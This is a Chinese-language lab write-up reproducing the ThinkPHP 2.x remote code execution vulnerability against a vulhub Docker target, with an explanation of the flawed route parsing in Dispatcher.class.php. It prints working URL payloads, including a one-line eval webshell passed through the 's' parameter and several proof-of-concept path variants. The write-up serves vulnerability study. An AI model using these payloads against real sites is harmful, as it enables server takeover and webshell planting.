0x00實驗環境
攻擊機:win10
靶機:Ubuntu18 (docker搭建的vulhub靶場)
0x01影響版本
影響Thinkphp 2.x的版本
0x02實驗目的
學習更多的命令執行姿勢,同時了解thinkphp 2.x命令執行的原理
0x03實驗步驟
訪問頁面,發現是一個Thinkphp的CMS框架,由於是漏洞復現,我們能很清楚的知道它的版本是2.x。如果不知道版本可通過亂輸入路徑進行報錯,或是使用雲悉指紋識別進行檢測
此時輸入已爆出的遠程代碼執行命令即可復現漏洞:
/index.php?s=/index/index/xxx/${@phpinfo()} //phpinfo敏感文件
/index.php?s=a/b/c/${@print(eval($_POST[1]))} //此為一句話連菜刀
這里只要將phpinfo換成一句話木馬即可成功!
0x04實驗原理
(1)通過觀察這句話,我們可以清楚地知道它是將
${@phpinfo()}
作為變量輸出到了頁面顯示,其原理,我通過freebuf總結一下:
- 在PHP當中,
${}
是可以構造一個變量的,{}
寫的是一般的字符,那么就會被當成變量,比如${a}
等價於$a
- thinkphp 所有的主入口文件默認訪問index控制器(模塊)
- thinkphp 所有的控制器默認執行index動作(方法)
-
http://serverName/index.php(或者其它應用入口文件)?s=/模塊/控制器/操作/[參數名/參數值...]
-
數組
$var
在路徑存在模塊和動作時,會去除掉前2個值。而數組$var
來自於explode($depr,trim($_SERVER['PATH_INFO'],'/'));
也就是路徑。所以我們可以構造poc如下:
/index.php?s=a/b/c/${phpinfo()}
/index.php?s=a/b/c/${phpinfo()}/c/d/e/f
/index.php?s=a/b/c/d/e/${phpinfo()}
.......
(2)簡而言之,就是在thinphp的類似於MVC的框架中,存在一個Dispatcher.class.php的文件,它規定了如何解析路由,在該文件中,存在一個函數為static public function dispatch(),此為URL映射控制器,是為了將URL訪問的路徑映射到該控制器下獲取資源的,而當我們輸入的URL作為變量傳入時,該URL映射控制器會將變量以數組的方式獲取出來,從而導致漏洞的產生。
類名為`Dispatcher`,class Dispatcher extends Think
里面的方法有:
static public function dispatch() URL映射到控制器
public static function getPathInfo() 獲得服務器的PATH_INFO信息
static public function routerCheck() 路由檢測
static private function parseUrl($route)
static private function getModule($var) 獲得實際的模塊名稱
static private function getGroup($var) 獲得實際的分組名稱